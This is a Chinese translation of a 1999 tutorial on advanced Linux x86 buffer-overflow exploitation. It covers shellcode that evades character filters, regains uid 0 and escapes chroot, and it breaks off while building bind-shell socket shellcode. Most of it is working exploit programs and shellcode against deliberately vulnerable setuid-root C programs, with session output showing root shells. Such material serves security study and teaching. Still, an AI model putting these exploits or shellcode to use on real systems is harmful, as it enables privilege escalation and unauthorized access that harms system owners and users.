高级缓冲溢出的使用
整理:dspman,Solo,backend
日期:1999-12-14
Written by Taeho Oh ( ohhara@postech.edu )
----------------------------------------------------------------------------
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
----------------------------------------------------------------------------
1.介绍
现今存在着好几种缓冲区溢出的代码程序。早期的缓冲区溢出程序功能比较简单,往往
是仅仅(通过执行 /bin/sh)获得一个 shell 。但是现今的缓冲区溢出程序已具备更
多样化的方法,如绕过过滤器限制、建立套接字、突破chroot等等。这里我们主要介绍
基于(intel x86)Linux下缓冲区溢出编程中一些较为高级的使用技巧。
2.预备知识
你必须了解汇编语言、C语言还有Linux。当然,你还必须知道缓冲区溢出是怎么一回事。
我们站点上有关于缓冲溢出的机理分析可供你参考。你也可以从phrak杂志的49-14找到
有关的缓冲区溢出的的资料(英文)。
3.绕过过滤器限制
许多程序存在缓冲区溢出问题。但是为什么并非所有的缓冲区溢出程序都能被用于获得
shell 呢?这是因为即使某个程序具备了缓冲区溢出的条件,也许仍然很难攻击成功。
在许多情况下是由于程序过滤了一些字符或者把一些字符转变为另一些字符。如果一个
程序过滤了所有的非打印字符,溢出漏洞就几乎不可利用了。但如果程序只过滤了部分
的字符,那你可以通过编写巧妙的缓冲区溢出代码来绕过通过这些过滤机制。:)
3.1 被攻击的例程
vulnerable1.c
----------------------------------------------------------------------------
#include<string.h>
#include<ctype.h>
int main(int argc,int **argv)
{
char buffer[1024];
int i;
if(argc>1)
{
for(i=0;i<strlen(argv[1]);i++)
argv[1][i]=toupper(argv[1][i]);
strcpy(buffer,argv[1]);
}
}
----------------------------------------------------------------------------
这段程序很简单,只完成将用户输入的小写的字母转换为大写的字母。所以,你必须编
写一个不包含任何小写字母的shellcode。如何才能做到呢?需要注意的是,我们必
须面对诸如"/bin/sh"必须是小写的事实。但事实上,我们确实可以做到这一点。:)
3.2 修改常规的shellcode
几乎所有的缓冲区溢出代码使用如下的shellcode。现在你要做的事是把所有的小写字母
从shellocode里去掉。当然,新的shellcode也要使我们获得shell。
常规的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh"; /* .string /"/bin/sh/" */
----------------------------------------------------------------------------
这段shellcode里包含6个小写字母。(5个在"/bin/sh"里面,1个在"movl %esi,0x8(%esi)"
里)。我们不能直接使用"/bin/sh",因为它会被过滤掉。但是可以在其中插入任意的非
小写字符。也就是说,可以插入"/x2f/x12/x19/x1e/x2f/x23/x18"来代替"/x2f/x62/x69
/x6e/x2f/x73/x68" ( "/bin/sh" )。但是在缓冲区溢出后,我们必须把"/x2f/x12/x19
/x1e/x2f/x23/x18"变成"/x2f/x62/x69/x6e/x2f/x73/x68",这样才可以执行"/bin/sh"。
我们可以通过在SHELLCODE执行时加/x50使/x62,/x69,/x6e,/x73和/x68成为执行代码。
但是如何隐藏在指令"movl %esi,0x8(%esi)"中的/x76呢?可以把"movl %esi,0x8(%esi)"
等效为其他不包含小写字母的指令。比如"movl %esi,0x8(%esi)"能够变成为
"movl %es.,%eax","addl $0x8,%eax","movl %eax,0x8(%esi)"这个指令序列。当然这也
可以用其他的指令来完成,只要改变后的指令中不包含任何小写字母。
以下是经过修改的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/xeb/x38" /* jmp 0x38 */
"/x5e" /* popl %esi */
"/x80/x46/x01/x50" /* addb $0x50,0x1(%esi) */
"/x80/x46/x02/x50" /* addb $0x50,0x2(%esi) */
"/x80/x46/x03/x50" /* addb $0x50,0x3(%esi) */
"/x80/x46/x05/x50" /* addb $0x50,0x5(%esi) */
"/x80/x46/x06/x50" /* addb $0x50,0x6(%esi) */
"/x89/xf0" /* movl %esi,%eax */
"/x83/xc0/x08" /* addl $0x8,%eax */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xc3/xff/xff/xff" /* call -0x3d */
"/x2f/x12/x19/x1e/x2f/x23/x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
----------------------------------------------------------------------------
3.3 使用攻击程序
利用以上shellcode,可以非常轻松地编写出溢出漏洞攻击代码。
exploit1.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/xeb/x38" /* jmp 0x38 */
"/x5e" /* popl %esi */
"/x80/x46/x01/x50" /* addb $0x50,0x1(%esi) */
"/x80/x46/x02/x50" /* addb $0x50,0x2(%esi) */
"/x80/x46/x03/x50" /* addb $0x50,0x3(%esi) */
"/x80/x46/x05/x50" /* addb $0x50,0x5(%esi) */
"/x80/x46/x06/x50" /* addb $0x50,0x6(%esi) */
"/x89/xf0" /* movl %esi,%eax */
"/x83/xc0/x08" /* addl $0x8,%eax */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xc3/xff/xff/xff" /* call -0x3d */
"/x2f/x12/x19/x1e/x2f/x23/x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='/0';
printf("Jump to 0x%08x/n",addr);
execl("./vulnerable1","vulnerable1",buff,0);
}
----------------------------------------------------------------------------
运行结果如下:
----------------------------------------------------------------------------
[ user@host ~ ] {1} $ ls -l vulnerable1
-rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1*
[ user@host ~ ] {2} $ ls -l exploit1
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1*
[ user@host ~ ] {3} $ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[ user@host ~ ] {4} $ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------
3.4 技巧用途
利用这个技巧,我们可以绕过各种系统不同的过滤机制。当被攻击程序过滤了!@#$%^&*()
时,我们可以编制一个新的shellcode,使之不包含!@#$%^&*()。然而,如果程序过滤了
更多字符,编制shellcode也会变得更加困难。
4. 改变uid为0
setuid成为root的程序是在运行时具有root权限的的程序,一直是被认为安全的一个隐
患。因为它在执行过成中调用了seteuid(0)。许多程序员认为使用seteuid(getuid())
会更安全些,但事实并非如此,用户标识(uid)还是可以变为0。:)
4.1 被攻击的例程
vulnerable2.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>
int main(int argc,char **argv)
{
char buffer[1024];
seteuid(getuid());
if(argc>1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------
这个程序从一开始就调用seteuid(getuid())。所以,可以认为后面的
"strcpy(buffer,argv[1]);"是没有问题的。因为即使成功地实现了缓冲区溢出攻击,我
们也只能得到自己的shell。不过,如果在shellcode中加入含有setuid(0)的调用,不就能
够得到root的shell了吗?:)
4.2 编制setuid(0)代码
setuidasm.c
----------------------------------------------------------------------------
main()
{
setuid(0);
}
----------------------------------------------------------------------------
然后编译和反汇编
----------------------------------------------------------------------------
[ user@host ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
[ user@host ~ ] {2} $ gdb setuidasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------
setuid(0); code
----------------------------------------------------------------------------
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
4.3 修改常规的shellcode
现在只要在常规的shellcode的开头处,插入我们setuid(0)代码就得到了一个新的shellcode。
新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80" /* int $0x80 */
"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh"; /* .string /"/bin/sh/" */
----------------------------------------------------------------------------
4.4 攻击程序
用下面的shellcode,你可以很方便的使用代码.
exploit2.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80" /* int $0x80 */
"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh"; /* .string /"/bin/sh/" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='/0';
printf("Jump to 0x%08x/n",addr);
execl("./vulnerable2","vulnerable2",buff,0);
}
----------------------------------------------------------------------------
运行结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable2
-rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2*
[ user@hosts ~ ] {2} $ ls -l exploit2
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2*
[ user@hosts ~ ] {3} $ ./exploit2
Jump to 0xbfffec64
Illegal instruction
[ user@hosts ~ ] {4} $ ./exploit2 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------
4.5 技巧用途
如果你用一般的溢出攻击方法对一个具有溢出漏洞的程序攻击只能得到自己的shell,那
可以考虑这种方法。
5. 突破chroot
如果setuid成为root的程序具有chroot的特性,那就只能访问被chroot保护的目录。而
不能访问真正的根目录。但是,通过在shellcode里把root的目录变为"/",你仍旧可以
访问任意的目录。:)
5.1 被攻击的例程
vulnerable3.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>
int main(int argc,char **argv)
{
char buffer[1024];
chroot("/home/ftp");
chdir("/");
if(argc>1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------
如果我们试图利用溢出执行"/bin/sh",它将有可能执行"/home/ftp/bin/sh"(如果存在
的话),而且我们不能访问除"/home/ftp"外的其他的目录。
5.2 编制突破chroot代码
如果你能执行下面的代码,你就可以突破chroot.
breakchrootasm.c
----------------------------------------------------------------------------
main()
{
mkdir("sh",0755);
chroot("sh");
/* many "../" */
chroot("../../../../../../../../../../../../../../../../");
}
----------------------------------------------------------------------------
这段程序建立了一个"sh"的目录,因为它是经常被用的。(它被经常用来执行 "/bin/sh" )
编译和反汇编
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
[ user@hosts ~ ] {2} $ gdb breakchrootasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble mkdir
Dump of assembler code for function __mkdir:
0x804cac0 <__mkdir>: movl %ebx,%edx
0x804cac2 <__mkdir+2>: movl 0x8(%esp,1),%ecx
0x804cac6 <__mkdir+6>: movl 0x4(%esp,1),%ebx
0x804caca <__mkdir+10>: movl $0x27,%eax
0x804cacf <__mkdir+15>: int $0x80
0x804cad1 <__mkdir+17>: movl %edx,%ebx
0x804cad3 <__mkdir+19>: cmpl $0xfffff001,%eax
0x804cad8 <__mkdir+24>: jae 0x804cc40 <__syscall_error>
0x804cade <__mkdir+30>: ret
0x804cadf <__mkdir+31>: nop
End of assembler dump.
(gdb) disassemble chroot
Dump of assembler code for function chroot:
0x804cb60 <chroot>: movl %ebx,%edx
0x804cb62 <chroot+2>: movl 0x4(%esp,1),%ebx
0x804cb66 <chroot+6>: movl $0x3d,%eax
0x804cb6b <chroot+11>: int $0x80
0x804cb6d <chroot+13>: movl %edx,%ebx
0x804cb6f <chroot+15>: cmpl $0xfffff001,%eax
0x804cb74 <chroot+20>: jae 0x804cc40 <__syscall_error>
0x804cb7a <chroot+26>: ret
0x804cb7b <chroot+27>: nop
0x804cb7c <chroot+28>: nop
0x804cb7d <chroot+29>: nop
0x804cb7e <chroot+30>: nop
0x804cb7f <chroot+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------
mkdir("sh",0755); code
----------------------------------------------------------------------------
/* 建立目录的第一个参数是 %ebx 第二个参数是%ecx. */
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xb0/x17" /* movb $0x27,%al */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
/* 在用该指令前,%esi 已经装入了"/bin/sh"的地址 */
/* 该指令会装载 "sh" 的地址,并存储在%ebx */
"/xfe/xc5" /* incb %ch */
/* %cx = 0000 0001 0000 0000 */
"/xb0/x3d" /* movb $0xed,%cl */
/* %cx = 0000 0001 1110 1101 */
/* %cx = 000 111 101 101 */
/* %cx = 0 7 5 5 */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
chroot("sh"); code
----------------------------------------------------------------------------
/* chroot的第一个参数是 ebx */
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xb0/x3d" /* movb $0x3d,%al */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
chroot("../../../../../../../../../../../../../../../../"); code
----------------------------------------------------------------------------
char code[]=
"/xbb/xd2/xd1/xd0/xff" /* movl $0xffd0d1d2,%ebx */
/* 经过伪装的 "../" 字符串 */
"/xf7/xdb" /* negl %ebx */
/* %ebx = $0x002f2e2e */
/* intel x86 is little endian. */
/* %ebx = "../" */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xb1/x10" /* movb $0x10,%cl */
/* 准备循环16次. */
"/x56" /* pushl %esi */
/* 备份当前的 %esi. %esi 有"/bin/sh" 的指针. */
"/x01/xce" /* addl %ecx,%esi */
"/x89/x1e" /* movl %ebx,(%esi) */
"/x83/xc6/x03" /* addl $0x3,%esi */
"/xe0/xf9" /* loopne -0x7 */
/* 使字符串 "../../../../ . . . " 在0x10(%esi)处循环 */
"/x5e" /* popl %esi */
/* 重置 %esi. */
"/xb0/x3d" /* movb $0x3d,%al */
"/x8d/x5e/x10" /* leal 0x10(%esi),%ebx */
/* "../../../../ . . . "的地址为 %ebx . */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
5.3 修改常规的shellcode
将我们编制的突破chroot的代码放到常规shellcode的开头,然后修改jmp和call的参数。
新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/xeb/x4f" /* jmp 0x4f */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xc9" /* xorl %ecx,%ecx */
"/x5e" /* popl %esi */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/xb0/x27" /* movb $0x27,%al */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xfe/xc5" /* incb %ch */
"/xb1/xed" /* movb $0xed,%cl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xb0/x3d" /* movb $0x3d,%al */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xbb/xd2/xd1/xd0/xff" /* movl $0xffd0d1d2,%ebx */
"/xf7/xdb" /* negl %ebx */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xb1/x10" /* movb $0x10,%cl */
"/x56" /* pushl %esi */
"/x01/xce" /* addl %ecx,%esi */
"/x89/x1e" /* movl %ebx,(%esi) */
"/x83/xc6/x03" /* addl %0x3,%esi */
"/xe0/xf9" /* loopne -0x7 */
"/x5e" /* popl %esi */
"/xb0/x3d" /* movb $0x3d,%al */
"/x8d/x5e/x10" /* leal 0x10(%esi),%ebx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/xe8/xac/xff/xff/xff" /* call -0x54 */
"/bin/sh"; /* .string /"/bin/sh/" */
----------------------------------------------------------------------------
5.4 攻击程序3
exploit3.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/xeb/x4f" /* jmp 0x4f */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xc9" /* xorl %ecx,%ecx */
"/x5e" /* popl %esi */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/xb0/x27" /* movb $0x27,%al */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xfe/xc5" /* incb %ch */
"/xb1/xed" /* movb $0xed,%cl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xb0/x3d" /* movb $0x3d,%al */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xbb/xd2/xd1/xd0/xff" /* movl $0xffd0d1d2,%ebx */
"/xf7/xdb" /* negl %ebx */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xb1/x10" /* movb $0x10,%cl */
"/x56" /* pushl %esi */
"/x01/xce" /* addl %ecx,%esi */
"/x89/x1e" /* movl %ebx,(%esi) */
"/x83/xc6/x03" /* addl %0x3,%esi */
"/xe0/xf9" /* loopne -0x7 */
"/x5e" /* popl %esi */
"/xb0/x3d" /* movb $0x3d,%al */
"/x8d/x5e/x10" /* leal 0x10(%esi),%ebx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/xe8/xac/xff/xff/xff" /* call -0x54 */
"/bin/sh"; /* .string /"/bin/sh/" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='/0';
printf("Jump to 0x%08x/n",addr);
execl("./vulnerable3","vulnerable3",buff,0);
}
----------------------------------------------------------------------------
运行结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable3
-rwsr-xr-x 1 root root 4348 Oct 18 15:06 vulnerable3*
[ user@hosts ~ ] {2} $ ls -l exploit3
-rwxr-xr-x 1 ohhara cse 5059 Oct 18 17:13 exploit3*
[ user@hosts ~ ] {3} $ ./exploit3
Jump to 0xbfffec68
Segmentation fault
[ user@hosts ~ ] {4} $ ./exploit3 500
Jump to 0xbfffea74
Segmentation fault
[ user@hosts ~ ] {5} $ ./exploit3 -500
Jump to 0xbfffee5c
bash# whoami
root
bash# pwd
/home/ftp
bash# cd /
bash# pwd
/
bash# ls
afs boot etc home lost+found mnt root tmp var
bin dev export lib misc proc sbin usr
bash#
----------------------------------------------------------------------------
5.5 技巧用途
使用缓冲区溢出攻击一个chrooted setuid的程序,你将不能访问root目录。但是,你可
以用这项技术访问所有的路径。:)
6. 建立套接字(socket)连接
如果我们攻击一个存在缓冲区溢出漏洞的守护程序,会使它崩溃。因此在大多数情况下,
我们必须先执行一个shell,然后打开一个套接字端口,再利用标准I/O建立连接。否则,
不可能获得所需的shell。即使得到了shell,由于该守护程序已经崩溃,我们也无法执
行任何指令,所以,必须编制更为复杂的shellcode,用于与我们的机器建立连接。
6.1 攻击的例程
----------------------------------------------------------------------------
#include<string.h>
int main(int argc,char **argv)
{
char buffer[1024];
if(argc>1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------
这是一个标准的存在溢出漏洞的程序.我们用它来验证如何编写打开一个socket连接的
shellcode。但我们太懒了,都不想编写守护例程.:-)
但是我敢保证,看完以下代码后,你一定不会失望。:)
6.2 编制建立套接字的代码
以下是可以建立套接字的程序。
opensocketasm1.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(30464);
soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
listen(soc,1);
soc_len=sizeof(cli_addr);
cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}
----------------------------------------------------------------------------
使用汇编语言来写的话代码会不一样。你可以把上面的程序写得更简单点。
opensocketasm2.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,cli;
struct sockaddr_in serv_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x77;
soc=socket(2,1,6);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,1);
cli=accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}
----------------------------------------------------------------------------
编译和反汇编结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c
[ user@hosts ~ ] {2} $ gdb opensocketasm2
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
